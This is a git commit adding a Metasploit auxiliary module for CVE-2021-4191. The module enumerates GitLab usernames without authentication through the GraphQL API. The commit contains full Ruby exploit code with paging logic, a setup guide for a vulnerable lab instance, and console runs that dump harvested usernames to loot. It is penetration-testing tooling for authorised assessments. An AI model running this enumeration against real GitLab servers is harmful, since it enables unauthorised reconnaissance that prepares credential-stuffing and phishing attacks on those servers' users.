Initial version of CVE-2021-4191 GitLab user enumeration

This commit is contained in:
Jake Baines 2022-03-01 06:57:39 -08:00
parent 239308824a
commit fbdb6614bc
No known key found for this signature in database
GPG Key ID: 83126B7FC6B116A6
2 changed files with 415 additions and 0 deletions

View File

@ -0,0 +1,235 @@
## Vulnerable Application
### Description
This module queries the GitLab GraphQL API without authentication to acquire the list of
GitLab users (CVE-2021-4191). The module works on all GitLab versions from 13.0 up to
14.8.2, 14.7.4, and 14.6.5.
Exploitation will result in acquiring a list of valid GitLab usernames.
### Installation
#### GitLab 13.10.2 on Ubuntu 20.04.2 x64
* Download [GitLab 13.10.2](https://packages.gitlab.com/gitlab/gitlab-ce/packages/ubuntu/focal/gitlab-ce_13.10.2-ce.0_amd64.deb)
* Install openssh-server (`sudo apt install openssh-server`)
* Install GitLab (`sudo dpkg -i gitlab-ce_13.10.2-ce.0_amd64.deb`)
* Modify the `external_url` in `/etc/gitlab/gitlab.rb` to something like `external_url http://localhost`
* Run `sudo gitlab-ctl reconfigure`
* Done!
To add a lot of users try something like this:
```
$ set -B
$ for i in {50..250}; do
curl -vv -X POST "http://10.0.0.6/api/v4/users?private_token=TOKEN&email=test$i@test.com&username=test$i&name=test$i&reset_password=True"
done
```
That should create 200 users with names such as "test50", "test51", etc.
## Verification Steps
* Follow the above instructions to install GitLab 13.10.2
* Do: `use auxiliary/scanner/http/gitlab_graphql_user_enum`
* Do: `set RHOST <ip>`
* Do: `run`
* You should get a list of usernames in loot.
## Options
### TARGETURI
Specifies GitLab's base URI. Although an unpopular configuration, GitLab does support use
of a [relative URL](https://docs.gitlab.com/omnibus/settings/configuration.html#configuring-a-relative-url-for-gitlab).
## Scenarios
### GitLab 14.4.1 on Ubuntu 20.04.2 x64. More than 100 users triggers paging logic.
```
msf6 > use auxiliary/scanner/http/gitlab_graphql_user_enum
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set RPORT 80
RPORT => 80
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > run
[+] Userlist stored at /home/albinolobster/.msf4/loot/20211229065146_default_10.0.0.6_gitlab.users_537462.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > cat /home/albinolobster/.msf4/loot/20211229065146_default_10.0.0.6_gitlab.users_537462.txt
[*] exec: cat /home/albinolobster/.msf4/loot/20211229065146_default_10.0.0.6_gitlab.users_537462.txt
test150
test149
test148
test147
test146
test145
test144
test143
test142
test141
test140
test139
test138
test137
test136
test135
test134
test133
test132
test131
test130
test129
test128
test127
test126
test125
test124
test123
test122
test121
test120
test119
test118
test117
test116
test115
test114
test113
test112
test111
test110
test109
test108
test107
test106
test105
test104
test103
test102
test101
test100
test99
test98
test97
test96
test95
test94
test93
test92
test91
test90
test89
test88
test87
test86
test85
test84
test83
test82
test81
test80
test79
test78
test77
test76
test75
test74
test73
test72
test71
test70
test69
test68
test67
test66
test65
test64
test63
test62
test61
test60
test59
test58
test57
test56
test55
test54
test53
test52
test51
test50
testuser
test39
test35
test34
test33
test32
test31
test30
test29
test28
test27
test26
test25
test24
test23
test22
test21
test20
test18
test19
test17
test16
test15
test14
test13
test12
test11
test10
test9
test8
test7
test6
test5
test4
test3
test2
test1
test
support-bot
alert-bot
root
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) >
```
### GitLab 13.10.2 on Ubuntu 20.04.2 x64
```
msf6 > use auxiliary/scanner/http/gitlab_graphql_user_enum
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set RHOST 10.0.0.9
RHOST => 10.0.0.9
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set RPORT 80
RPORT => 80
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > run
[+] Userlist stored at /home/albinolobster/.msf4/loot/20211229070855_default_10.0.0.9_gitlab.users_748865.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > cat /home/albinolobster/.msf4/loot/20211229070855_default_10.0.0.9_gitlab.users_748865.txt
[*] exec: cat /home/albinolobster/.msf4/loot/20211229070855_default_10.0.0.9_gitlab.users_748865.txt
root
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) >
```

View File

@ -0,0 +1,180 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab GraphQL API User Enumeration',
'Description' => %q{
This module queries the GitLab GraphQL API without authentication
to acquire the list of GitLab users (CVE-2021-4191). The module works
on all GitLab versions from 13.0 up to 14.8.2, 14.7.4, and 14.6.5.
},
'License' => MSF_LICENSE,
'Author' => [
'jbaines-r7', # Independent discovery and Metasploit module
'mungsul' # Independent discovery
],
'References' => [
[ 'CVE', '2021-4191' ],
[ 'URL', 'https://about.gitlab.com/releases/2022/02/25/critical-security-release-gitlab-14-8-2-released/#unauthenticated-user-enumeration-on-graphql-api']
],
'DisclosureDate' => '2022-02-01',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
##
# Send the GraphQL query to the /api/graphql endpoint. Despite being able to
# extract significantly more information, this request will only request
# usernames. The function will do some verification to ensure the received
# payload is the expected JSON.
#
# @param after [String] The parameter is used for paging because GitLab will only
# return 100 results at a time. If no paging is needed this should be empty.
# @return [Hash] A Ruby Hash representation of the returned JSON data.
##
def do_request(after)
graphql_query = '{"query": "query { users'
unless after.empty?
graphql_query += "(after:\\\"#{after}\\\")"
end
graphql_query.concat(' { pageInfo { hasNextPage, hasPreviousPage, endCursor, startCursor }, nodes { username } } }" }')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/graphql'),
'ctype' => 'application/json',
'data' => graphql_query
})
fail_with(Failure::UnexpectedReply, "The target didn't respond with 200 OK") unless res&.code == 200
fail_with(Failure::UnexpectedReply, "The target didn't respond with an HTTP body") unless res.body
user_json = res.get_json_document
fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if user_json.nil?
nodes = user_json.dig('data', 'users', 'nodes')
fail_with(Failure::UnexpectedReply, 'Could not find nodes in the JSON body') if nodes.nil?
user_json
end
##
# Parses the JSON data returned by the server. Adds the usernames to
# the users array and adds them, indirectly, to create_credential_login.
# This function also determines if we need to request more data from
# the server.
#
# @param user_json [Hash] The JSON data provided by the server
# @param users [Array] An array to store new usernames in
# @return [String] An empty string or the "endCursor" to use with do_request
##
def parse_json(user_json, users)
nodes = user_json.dig('data', 'users', 'nodes')
return '' if nodes.nil?
nodes.each do |node|
username = node['username']
store_username(username, node)
users.push(username)
end
query_paging_info = ''
more_data = user_json.dig('data', 'users', 'pageInfo', 'hasNextPage')
if !more_data.nil? && more_data == true
query_paging_info = user_json['data']['users']['pageInfo']['endCursor']
end
query_paging_info
end
def store_userlist(users, service)
loot = store_loot('gitlab.users', 'text/plain', rhost, users, nil, 'GitLab Users', service)
print_good("Userlist stored at #{loot}")
end
def store_username(username, json)
service = ssl ? 'https' : 'http'
service_data = {
address: rhost,
port: rport,
service_name: service,
protocol: 'tcp',
workspace_id: myworkspace_id,
proof: json
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username
}
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
create_credential_login(login_data)
end
##
# Send an initial GraphQL request to the server and keep sending
# requests until the server has no more data to give us.
##
def run_host(_ip)
user_json = do_request('')
service = report_service(
host: rhost,
port: rport,
name: (ssl ? 'https' : 'http'),
proto: 'tcp'
)
# parse the initial page
users = Array[]
query_paging_info = parse_json(user_json, users)
# handle any follow on pages
until query_paging_info.empty?
user_json = do_request(query_paging_info)
query_paging_info = parse_json(user_json, users)
end
unless users.empty?
users_string = users.join("\n") + "\n"
store_userlist(users_string, service)
end
end
end